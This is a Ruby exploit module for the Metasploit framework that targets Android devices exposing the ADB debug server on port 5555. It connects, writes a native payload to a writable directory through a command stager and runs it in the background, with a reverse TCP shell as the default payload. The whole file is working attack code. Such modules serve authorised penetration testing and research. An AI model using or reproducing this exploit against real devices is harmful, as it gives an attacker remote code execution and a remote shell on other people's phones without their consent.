## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   require 'msf/core'require 'rex/proto/adb'  class Metasploit3 < Msf::Exploit::Remote   Rank = ExcellentRanking     include Msf::Exploit::Remote::Tcp   include Msf::Exploit::CmdStager     def initialize(info = {})     super(update_info(info,       'Name'           => 'Android ADB Debug Server Remote Payload Execution',       'Description'    => %q{         Writes and spawns a native payload on an android device that is listening         for adb debug messages.       },       'Author'         => ['joev'],       'License'        => MSF_LICENSE,       'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },       'Platform'       => 'linux',       'Arch'           => [ARCH_ARMLE, ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],       'Targets'        => [         ['armle',  {'Arch' => ARCH_ARMLE}],         ['x86',    {'Arch' => ARCH_X86}],         ['x64',    {'Arch' => ARCH_X86_64}],         ['mipsle', {'Arch' => ARCH_MIPSLE}]       ],       'DefaultTarget'  => 0,       'DisclosureDate' => 'Jan 01 2016'    ))       register_options([       Opt::RPORT(5555),       OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])     ], self.class)   end    def check     setup_adb_connection do      device_info = @adb_client.connect.data       print_good "Detected device:\n#{device_info}"      return Exploit::CheckCode::Vulnerable     end      Exploit::CheckCode::Unknown   end    def execute_command(cmd, opts)     response = @adb_client.exec_cmd(cmd)     print_good "Command executed, response:\n #{response}"  end    def exploit     setup_adb_connection do      device_data = @adb_client.connect       print_good "Connected to device:\n#{device_data.data}"      execute_cmdstager({         flavor: :echo,         enc_format: :octal,         prefix: '\\\\0',         temp: datastore['WritableDir'],         linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8,         background: true,         nodelete: true      })     end  end    def setup_adb_connection(&blk)     begin      print_status "Connecting to device..."      connect       @adb_client = Rex::Proto::ADB::Client.new(sock)       blk.call     ensure      disconnect     end  end  end